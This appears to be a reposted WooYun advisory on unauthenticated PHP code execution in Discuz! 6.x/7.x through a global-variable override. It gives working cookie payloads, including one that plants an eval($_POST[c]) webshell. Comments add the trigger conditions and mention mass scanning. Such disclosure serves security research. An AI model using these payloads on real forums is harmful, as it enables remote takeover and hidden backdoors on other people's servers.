Discuz!某两个版本前台产品命令执行(无需登录)

admin 2015年7月19日12:30:17评论304 views字数 229阅读0分45秒阅读模式
摘要

2014-10-25: 细节已通知厂商并且等待厂商处理中
2014-10-27: 厂商已经确认,细节仅向厂商公开
2014-10-30: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-12-21: 细节向核心白帽子及相关领域专家公开
2014-12-31: 细节向普通白帽子公开
2015-01-10: 细节向实习白帽子公开
2015-01-23: 细节向公众公开

漏洞概要 关注数(306) 关注此漏洞

缺陷编号: WooYun-2014-80723

漏洞标题: Discuz!某两个版本前台产品命令执行(无需登录) Discuz!某两个版本前台产品命令执行(无需登录)

相关厂商: Discuz!

漏洞作者: JannockDiscuz!某两个版本前台产品命令执行(无需登录)

提交时间: 2014-10-25 17:02

公开时间: 2015-01-23 17:04

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 第三方不可信程序 php源码审核

108人收藏


漏洞详情

披露状态:

2014-10-25: 细节已通知厂商并且等待厂商处理中
2014-10-27: 厂商已经确认,细节仅向厂商公开
2014-10-30: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-12-21: 细节向核心白帽子及相关领域专家公开
2014-12-31: 细节向普通白帽子公开
2015-01-10: 细节向实习白帽子公开
2015-01-23: 细节向公众公开

简要描述:

最近总有人翻旧程序,我也翻一个出来!
Discuz!某版本虽然停止维护,但使用量还很可观,各大厂商或多或少都有使用。
有条件,直接存在命令执行,但目前大多默认配置直接支持。
此漏洞在互联网上公开过,但厂商不认为是漏洞?
还是那句:没有POC,你说个jb!
不登陆,直接执行

详细说明:

影响版本:Discuz! 6.x/7.x 全局变量防御绕过漏洞

互联网比较有人公开过,看:http://**.**.**.**/dzvul/sodb/19/sodb-2010-01.txt

那时描述是:Discuz! 6.x/7.x 全局变量防御绕过漏洞 POC : 缺

可能由于作者没有放出POC,因此没有得到别人重视。

此漏洞利用的地方有很多,不限制这个命令执行。

漏洞原理就不说了,这里说说漏洞利用:

文件:

include/discuzcode.func.php

code 区域
function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) {
global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowattachurl;

if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/code]') || strpos($message, '[/CODE]')) !== FALSE) {
$message = preg_replace("//s?/(.+?)/[//code/]/s?/ies", "codedisp('//1')", $message);
}

$msglower = strtolower($message);

//$htmlon = $htmlon && $allowhtml ? 1 : 0;

if(!$htmlon) {
$message = $jammer ? preg_replace("//r/n|/n|/r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspecialchars($message);
}

if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smilies'])) {
if(!$discuzcodes['smiliesreplaced']) {
foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) {
$GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies/'.$GLOBALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'.$key.'" border="0" alt="" />';
}
$discuzcodes['smiliesreplaced'] = 1;
}
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
}

注意到 119 行:

$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);

因此,直接cookie中带

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

即可执行。

请求中Cookie带

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;

即一句话木马,此后门漏洞十分隐蔽,不容易发现。

随便 google 验证了一下,发现还是有大量中招的。

漏洞证明:

Discuz!某两个版本前台产品命令执行(无需登录)

Discuz!某两个版本前台产品命令执行(无需登录)

修复方案:

这个你们应该懂!

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-10-27 09:22

厂商回复:

感谢您的支持。我们尽快处理。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-10-25 17:08 | c0nt ( 路人 | Rank:16 漏洞数:7 )

    2

    沙发。。。。。

  2. 2014-10-25 17:08 | 风情万种 ( 普通白帽子 | Rank:195 漏洞数:66 | 不再相信爱了)

    0

    前排!看戏

  3. 2014-10-25 17:12 | if、so Discuz!某两个版本前台产品命令执行(无需登录) ( 核心白帽子 | Rank:1204 漏洞数:104 | Enjoy Hacking)

    0

    威武霸气一哥

  4. 2014-10-25 17:25 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了,跪着也要...)

    0

    不错

  5. 2014-10-25 17:40 | 卡卡 ( 普通白帽子 | Rank:468 漏洞数:57 | <script>alert('安全团队长期招人')</scrip...)

    0

    一休哥~

  6. 2014-10-25 17:45 | 咸鱼翻身 ( 普通白帽子 | Rank:630 漏洞数:124 )

    1

    唉。。。连个板凳都木有。。。。

  7. 2014-10-25 17:55 | zeracker Discuz!某两个版本前台产品命令执行(无需登录) ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)

    0

    屌爆了。。。

  8. 2014-10-25 17:58 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    0

    不登陆,直接执行

  9. 2014-10-25 18:06 | 子非海绵宝宝 Discuz!某两个版本前台产品命令执行(无需登录) ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

    0

    屌!~~~~~~~

  10. 2014-10-25 18:13 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)

    0

    卧槽 吓尿

  11. 2014-10-25 18:31 | M4sk ( 普通白帽子 | Rank:1218 漏洞数:323 | 啥都不会....)

    1

    mark

  12. 2014-10-25 18:35 | phith0n Discuz!某两个版本前台产品命令执行(无需登录) ( 普通白帽子 | Rank:834 漏洞数:127 | 一个想当文人的黑客~)

    0

    反正新浪6.0用的特别多~

  13. 2014-10-25 19:25 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

    0

    切,死一哥!

  14. 2014-10-25 19:29 | Cyrils ( 实习白帽子 | Rank:47 漏洞数:12 | the more the better)

    0

    碉堡~

  15. 2014-10-25 19:54 | 浮萍 ( 普通白帽子 | Rank:1077 漏洞数:217 )

    0

    还是那句:没有POC,你说个jb!

  16. 2014-10-25 20:42 | gainover Discuz!某两个版本前台产品命令执行(无需登录) ( 普通白帽子 | Rank:1805 漏洞数:97 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    0

    一哥这么温柔的汉子,也会这么粗暴的话~

  17. 2014-10-25 20:49 | 猪猪侠 Discuz!某两个版本前台产品命令执行(无需登录) ( 核心白帽子 | Rank:5372 漏洞数:415 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    0

    @gainover 就是这么粗暴

  18. 2014-10-25 20:55 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 看人生万般无奈,看世间千姿百态...)

    0

    屌爆了!!

  19. 2014-10-25 21:15 | gainover Discuz!某两个版本前台产品命令执行(无需登录) ( 普通白帽子 | Rank:1805 漏洞数:97 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    0

    @猪猪侠 哈哈

  20. 2014-10-25 21:53 | imlonghao ( 普通白帽子 | Rank:740 漏洞数:75 )

    0

    特意上号围观1哥

  21. 2014-10-25 21:57 | backtrack丶yao ( 普通白帽子 | Rank:298 漏洞数:110 )

    0

    来的晚,连沙发都没有了

  22. 2014-10-25 21:57 | 梧桐雨 Discuz!某两个版本前台产品命令执行(无需登录) ( 核心白帽子 | Rank:1662 漏洞数:191 | 学无止境)

    0

    特意上号围观1哥

  23. 2014-10-25 22:02 | nextdoor ( 普通白帽子 | Rank:332 漏洞数:75 | Just for fun)

    0

    又有一大批站点要倒下了

  24. 2014-10-25 22:06 | Jumbo ( 普通白帽子 | Rank:132 漏洞数:33 | 猫 - https://www.chinabaiker.com)

    0

    可直接shell

  25. 2014-10-25 22:22 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲,打脸pa pa pa)

    0

    围观1哥

  26. 2014-10-25 22:59 | 盛大网络(乌云厂商)

    0

    牛逼 求discuz X2命令执行

  27. 2014-10-25 23:03 | 咸鱼翻身 ( 普通白帽子 | Rank:630 漏洞数:124 )

    0

    @盛大网络

  28. 2014-10-25 23:04 | p4ssw0rd ( 普通白帽子 | Rank:306 漏洞数:92 | 不作死就不会死)

    0

    楼上

  29. 2014-10-25 23:09 | 大亮 ( 普通白帽子 | Rank:386 漏洞数:73 | 小段子手)

    0

    又遭雷劈了

  30. 2014-10-25 23:24 | erevus ( 普通白帽子 | Rank:201 漏洞数:33 )

    0

    围观一哥

  31. 2014-10-27 09:42 | 冰锋刺客 ( 普通白帽子 | Rank:127 漏洞数:20 | 请在监护人陪同下与本人交流)

    0

    这个要关注!!!

  32. 2014-10-27 12:16 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

    0

    @M4sk 普通白帽子 | Rank:610 漏洞数:202 | QQ276916312 这么高调

  33. 2014-10-27 12:47 | M4sk ( 普通白帽子 | Rank:1218 漏洞数:323 | 啥都不会....)

    0

    @老和尚 哪里高调了?

  34. 2014-10-28 10:02 | iproute ( 路人 | Rank:4 漏洞数:1 | 为路由器生,为交换机死,为Ping通奋斗一辈...)

    0

    围观

  35. 2014-10-28 10:32 | G8dSnow ( 路人 | Rank:21 漏洞数:5 | 一直在学习技术、分享知识的路上)

    0

    被你们玩烂了要我还看不到。。。

  36. 2014-10-28 14:53 | 啊L川 Discuz!某两个版本前台产品命令执行(无需登录) ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)

    0

    默默关注一下

  37. 2014-10-31 08:49 | 茜茜公主 ( 普通白帽子 | Rank:2409 漏洞数:414 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    0

    net版本`

  38. 2014-10-31 16:40 | 消逝文字 ( 路人 | Rank:3 漏洞数:2 | 永久的菜鸟一枚)

    0

    霸气

  39. 2014-11-01 10:46 | 一只猿 ( 普通白帽子 | Rank:560 漏洞数:98 | 硬件与无线通信研究方向)

    0

    牛逼

  40. 2014-11-01 15:52 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

    0

    卧槽啊,

  41. 2014-11-01 16:10 | 风情万种 ( 普通白帽子 | Rank:195 漏洞数:66 | 不再相信爱了)

    0

    @老和尚 3$ 至少是5000rmb 好不好

  42. 2014-11-01 16:37 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

    0

    @风情万种 我操、一哥分钱

  43. 2014-11-02 19:12 | Mxx ( 路人 | Rank:0 漏洞数:2 | 没有)

    0

    啧啧,求详情。

  44. 2014-11-03 13:49 | ztaosony ( 路人 | Rank:0 漏洞数:1 | 终于来到这个搞基的圣地,我很激动)

    0

    一哥太屌

  45. 2014-11-14 21:12 | ddy ( 实习白帽子 | Rank:45 漏洞数:17 | 其实第一次要我挖洞我是拒绝的。因为,你不...)

    1

    提醒:为保证通用型安全漏洞的信息保密性,该漏洞无法使用乌云币提前查看,请踏实的杀洞升级吧

  46. 2014-12-10 17:32 | 灬相随灬 ( 普通白帽子 | Rank:395 漏洞数:76 | 大胆天下去得,小心寸步难行。)

    1

    人才

  47. 2014-12-10 18:28 | zph ( 普通白帽子 | Rank:244 漏洞数:44 )

    1

    牛逼

  48. 2014-12-11 06:52 | 小森森 ( 路人 | Rank:11 漏洞数:2 | 不中二 枉少年)

    1

    厉害!

  49. 2014-12-28 17:01 | goubuli ( 普通白帽子 | Rank:689 漏洞数:122 )

    1

    腻害

  50. 2015-01-06 23:40 | huotoo ( 路人 | Rank:24 漏洞数:5 | 努力学习中)

    1

    @Jannock Request tainting attempted. 返回这个就是补漏洞了吧?

  51. 2015-01-07 00:23 | winalva ( 实习白帽子 | Rank:42 漏洞数:11 | rank是什么?)

    1

    @huotoo 怎么利用。。。添加了2条cookie刷新没反应

  52. 2015-01-23 18:21 | xiaoxin ( 实习白帽子 | Rank:72 漏洞数:16 | 无)

    0

    @winalva 分站点,试试打码的图片最后一条是可以的

  53. 2015-01-23 21:40 | sin ( 实习白帽子 | Rank:38 漏洞数:2 )

    0

    Request tainting attempted....

  54. 2015-01-23 22:15 | f4ckbaidu ( 普通白帽子 | Rank:265 漏洞数:33 | 开发真是日了狗了)

    0

    说出现Request tainting attempted你们有没有仔细看啊,利用前提是php request_order为GP

  55. 2015-01-23 22:50 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效,坚持好的习惯千万不要放弃)

    0

    request_order受限制啊

  56. 2015-01-23 23:20 | sin ( 实习白帽子 | Rank:38 漏洞数:2 )

    1

    安全参考写的挺好的,不过还是没测试成功,不是被拦截了,就是非GP: Discuz 6.x/7.x 代码执行漏洞触发条件: 1 URL连接中的帖子或评论必须带有表情(没有自己去回复) 2 php>5.3.x 且 request_order值为GP (默认值为GP) 3 后台--帖子内容页---最大单一表情解析次数: 为0 4 第2次提交Cookie,若没成功,请在浏览框里右键刷新

  57. 2015-01-26 00:26 | CH’s Alert ( 路人 | Rank:6 漏洞数:3 | 惹我之人定不赦, 持剑斗破苍穹笑。 剑指...)

    0

    咋利用啊,求教

  58. 2015-01-26 00:31 | CH’s Alert ( 路人 | Rank:6 漏洞数:3 | 惹我之人定不赦, 持剑斗破苍穹笑。 剑指...)

    0

    cookie中带,咋弄?

  59. 2015-01-26 20:57 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    0

    NB!

  60. 2015-01-26 21:57 | 发条橙子 ( 路人 | Rank:19 漏洞数:6 | ∑(っ °Д °;)っ)

    0

    扫描了20万DZ,中招的有500多个

  61. 2015-01-26 23:12 | sin ( 实习白帽子 | Rank:38 漏洞数:2 )

    0

    @发条橙子 dz的用户列表如何获取到的额?像猪猪侠那样?搜索引擎只有1000条吧

  62. 2015-01-29 17:25 | S4b0r ( 路人 | Rank:18 漏洞数:3 | 一句话介绍下我自己。)

    0

    好杀

  63. 2015-04-11 23:21 | Mr.R ( 实习白帽子 | Rank:54 漏洞数:15 | 求大神带我飞 qq2584110147)

    0

    直接吓尿了

  64. 2015-07-31 09:28 | suolong ( 普通白帽子 | Rank:148 漏洞数:29 | 蓄力)

    0

    @huotoo 同问 !

  65. 2015-07-31 13:46 | 小杰哥 ( 普通白帽子 | Rank:251 漏洞数:35 | 我不是 T0n9 和 的大号!)

    0

    找了几个 基本都是受request_order限制.... 暂时没有找到成功的.................

  66. 2016-02-29 14:11 | 你大爷在此 百无禁忌 ( 路人 | Rank:18 漏洞数:9 | 迎风尿三丈 顺风八十米)

    1

    修改过cookies 后提示 string(50) "/web/www/nfs-web/md02/bbs/include/global.inc.php" bool(false) 这是什么意思?

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin